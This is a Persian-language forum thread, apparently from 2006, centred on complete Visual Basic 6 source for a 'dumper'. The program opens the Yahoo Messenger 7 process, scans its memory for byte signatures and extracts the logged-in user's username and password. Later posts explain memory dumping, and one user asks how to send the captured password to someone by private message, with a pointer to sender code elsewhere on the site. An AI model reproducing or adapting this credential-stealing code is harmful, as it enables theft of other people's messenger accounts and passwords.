امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
Dumper For Yahoo Messengere 7.0
نویسنده پیام
veyskarami غایب
مدیر بازنشسته
*****

ارسال‌ها: 861
موضوع‌ها: 82
تاریخ عضویت: مرداد ۱۳۸۴

تشکرها : 477
( 2479 تشکر در 611 ارسال )
ارسال: #1
Dumper For Yahoo Messengere 7.0
کسی میدونه مشکل این کجاست؟
جواب نمیده :cry: :cry:
کد:
Option Explicit
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Const GW_CHILD = 5
Private Const GW_HWNDNEXT = 2

Private Sub TimPass()
Dim yhandle As Long
Dim namClass As String
Dim findy As Boolean
Dim ss As String
Dim SignUser7x() As Variant
Dim SignPass7x() As Variant

SignUser7x = Array(&HFF, &H35, &HCC, &H51, &H6E)
'SignPass7x = Array(&HA3, &H84, &H52, &H6E)
SignPass7x = Array(&H35, &H84, &H52, &H6E)

yhandle = GetDesktopWindow()
yhandle = GetWindow(yhandle, GW_CHILD)
namClass = Space(1024)
Do While yhandle <> 0
    Call GetClassName(yhandle, namClass, 1024)
    Text1.Text = namClass
    If Trim(Text1.Text) = "YahooBuddyMain" Then
        yahoodump yhandle, True, SignUser7x, ss
        List1.AddItem "Username:" & ss
        yahoodump yhandle, False, SignPass7x(), ss
        List1.AddItem "Password:" & ss
        findy = True
    End If
   yhandle = GetWindow(yhandle, GW_HWNDNEXT)
Loop
If findy = False Then MsgBox "No Yahoo Messengers Found": Exit Sub
End Sub

Sub yahoodump(yhwnd As Long, isuser As Boolean, Sign As Variant, ByRef gtext As String)
Const StartCode = &H400000
Const EndCode = StartCode + &H2F0FFC
Const bufmax = 1024
Dim Y_Pid, Y_Proc, BytesRead, Founds, x, y, SignCount, Cnt, Geten As Long
Dim buffer(0 To bufmax - 1) As Byte
Dim sss As String
Dim Adr As Long, bfLg As Long, big, small As Long
small = 0
Adr = StartCode
Select Case Sign(0)
    Case &H74
        big = 5
    Case &H1
        big = 6
    Case &H35
        big = 3
    Case &HFF
        big = 4
End Select
SignCount = (big - small) + 1
gtext = ""
Founds = 0
sss = ""
GetWindowThreadProcessId yhwnd, Y_Pid
Y_Proc = OpenProcess(PROCESS_ALL_ACCESS, False, Y_Pid)
If Y_Proc = 0 Then Exit Sub

Do
    ReadProcessMemory Y_Proc, Adr, buffer(0), 1024, BytesRead
    If BytesRead <= 0 Then Exit Do
    x = 0
    Do
      If buffer(x) = Sign(Founds) Then
        Founds = Founds + 1
        If Founds = SignCount Then
            If isuser Then
                ReadProcessMemory Y_Proc, (((Adr + x) - SignCount) + 1) - &H4, Geten, 3, Cnt
                Geten = Geten - &H44
            Else
      
                ReadProcessMemory Y_Proc, (((Adr + x) - SignCount) + 1) + &H1, Geten, 3, Cnt
                ReadProcessMemory Y_Proc, Geten, Geten, 3, Cnt
                Geten = Geten + &H40
            End If
            For y = 1 To 64
                ReadProcessMemory Y_Proc, Abs(Geten) + y - 1, bfLg, 1, 0&
                sss = sss & Chr(bfLg)
            Next y
            gtext = sss
            CloseHandle Y_Proc
            Exit Sub
        End If
      Else
        If x > 0 Then x = x - Founds
        Founds = 0
      End If
      x = x + 1
    Loop Until x = BytesRead
    Adr = Adr + BytesRead
Loop Until (BytesRead = 0) Or (Adr > EndCode)
CloseHandle Y_Proc
End Sub


Private Sub Form_Load()
TimPass
End Sub

۱۵-بهمن-۱۳۸۴, ۲۰:۲۲:۳۵
وب سایت ارسال‌ها
پاسخ
Iron_Fist غایب
مدیر بازنشسته
*****

ارسال‌ها: 1,456
موضوع‌ها: 70
تاریخ عضویت: آبان ۱۳۸۴

تشکرها : 109
( 456 تشکر در 134 ارسال )
ارسال: #2
 
اين دامپ قضيش چيه ؟
يكي براي ما توضيح بده
۱۵-بهمن-۱۳۸۴, ۲۰:۳۱:۰۵
ارسال‌ها
پاسخ
ebliiis آفلاین
كاربر تک ستاره
*

ارسال‌ها: 48
موضوع‌ها: 2
تاریخ عضویت: آذر ۱۳۸۴

تشکرها : 0
( 3 تشکر در 2 ارسال )
ارسال: #3
 
اينو براي 7 نوشتي يا 7.5 :?:
۱۵-بهمن-۱۳۸۴, ۲۳:۴۳:۱۸
وب سایت ارسال‌ها
پاسخ
amirjan آفلاین
مدیر بازنشسته
*****

ارسال‌ها: 1,105
موضوع‌ها: 24
تاریخ عضویت: تير ۱۳۸۳

تشکرها : 348
( 697 تشکر در 251 ارسال )
ارسال: #4
 
نقل قول: اين دامپ قضيش چيه ؟
يه كلوم : روگرفت از حافظه سيستم

سید امیر حسین حسنینی

Human knowledge belongs to the world ...
۱۶-بهمن-۱۳۸۴, ۰۱:۰۳:۱۸
ارسال‌ها
پاسخ
amircivil آفلاین
كاربر دو ستاره
**

ارسال‌ها: 162
موضوع‌ها: 34
تاریخ عضویت: بهمن ۱۳۸۳

تشکرها : 0
( 3 تشکر در 2 ارسال )
ارسال: #5
 
سلام اميرجان
ميشه بيشتر توضيح بدي
مخصوصا براي فرستادن پي ام در ياهو
ممنون
۱۶-بهمن-۱۳۸۴, ۰۳:۲۰:۳۹
ارسال‌ها
پاسخ
veyskarami غایب
مدیر بازنشسته
*****

ارسال‌ها: 861
موضوع‌ها: 82
تاریخ عضویت: مرداد ۱۳۸۴

تشکرها : 477
( 2479 تشکر در 611 ارسال )
ارسال: #6
 
amircivil نوشته است:سلام اميرجان
ميشه بيشتر توضيح بدي
مخصوصا براي فرستادن پي ام در ياهو
ممنون
عزيز اين پسورد رو ارسال نمي كنه فقط اونو توي يه تكست باكس نشون ميده
ابليس جان اين واسه 7 نوشته شده

۱۶-بهمن-۱۳۸۴, ۰۹:۳۸:۱۳
وب سایت ارسال‌ها
پاسخ
amircivil آفلاین
كاربر دو ستاره
**

ارسال‌ها: 162
موضوع‌ها: 34
تاریخ عضویت: بهمن ۱۳۸۳

تشکرها : 0
( 3 تشکر در 2 ارسال )
ارسال: #7
 
سلام
حالا شما فرض كنيد كه كه پسورد رو داريم
حالا چه جوري ميشه اونو با پي ام براي كسي فرستاد؟
ممنون
۱۶-بهمن-۱۳۸۴, ۱۱:۱۷:۲۲
ارسال‌ها
پاسخ
veyskarami غایب
مدیر بازنشسته
*****

ارسال‌ها: 861
موضوع‌ها: 82
تاریخ عضویت: مرداد ۱۳۸۴

تشکرها : 477
( 2479 تشکر در 611 ارسال )
ارسال: #8
 
سورسش تو سايت هست ميتوني سرچ كني
واسه همه ورژن ها هم جواب ميده تو برنامه هام بگردي هست

۱۶-بهمن-۱۳۸۴, ۱۲:۵۶:۱۴
وب سایت ارسال‌ها
پاسخ
veyskarami غایب
مدیر بازنشسته
*****

ارسال‌ها: 861
موضوع‌ها: 82
تاریخ عضویت: مرداد ۱۳۸۴

تشکرها : 477
( 2479 تشکر در 611 ارسال )
ارسال: #9
 
فكر كنم اين تو تخصص لولوهكو باشه احتمالا اون بتونه بهم كمك كنه واسه همينم ازش خواهش ميكنم اگه اين تاپيك رو ديد بهم كمك كنه
مرسي

۱۶-بهمن-۱۳۸۴, ۱۲:۵۹:۴۴
وب سایت ارسال‌ها
پاسخ


موضوعات مرتبط با این موضوع...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  Small Yahoo Tools محمدعلي 0 1,666 ۲۴-آذر-۱۳۸۹, ۰۳:۰۵:۱۱
آخرین ارسال: محمدعلي
Question کمک برای ساخت Yahoo Messenger9 Pass Sender willson 14 11,339 ۱۷-شهریور-۱۳۸۹, ۰۰:۲۶:۰۹
آخرین ارسال: willson
  yahoo chat room rezavb6 12 13,579 ۲۷-تير-۱۳۸۹, ۱۲:۳۳:۰۲
آخرین ارسال: shirini
  VB source yahoo invisible firitz 2 3,576 ۲۱-فروردین-۱۳۸۸, ۰۲:۳۸:۴۱
آخرین ارسال: sevdaboy
  New Yahoo Boot Packet samansoltani 1 2,227 ۲۷-فروردین-۱۳۸۷, ۲۰:۳۲:۵۱
آخرین ارسال: lord_viper
  Yahoo Boot Packets samansoltani 0 1,949 ۲۷-فروردین-۱۳۸۷, ۱۷:۰۴:۴۴
آخرین ارسال: samansoltani
Exclamation Multi Yahoo Login samansoltani 2 3,472 ۲۵-فروردین-۱۳۸۷, ۱۴:۰۶:۲۷
آخرین ارسال: meisambandari
  كمك از همه دوستان برنامه نويس در مورد اين pm sender yahoo shagerde-shoma 4 5,176 ۱۴-فروردین-۱۳۸۷, ۱۵:۴۲:۰۶
آخرین ارسال: yeketaz
  Yahoo robot firitz 20 13,426 ۲۵-بهمن-۱۳۸۶, ۰۰:۱۲:۲۷
آخرین ارسال: rezavb6
  sign in شدن yahoo و VB cooper 17 10,655 ۰۸-دى-۱۳۸۶, ۰۴:۰۶:۲۸
آخرین ارسال: rezavb6

پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 1 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS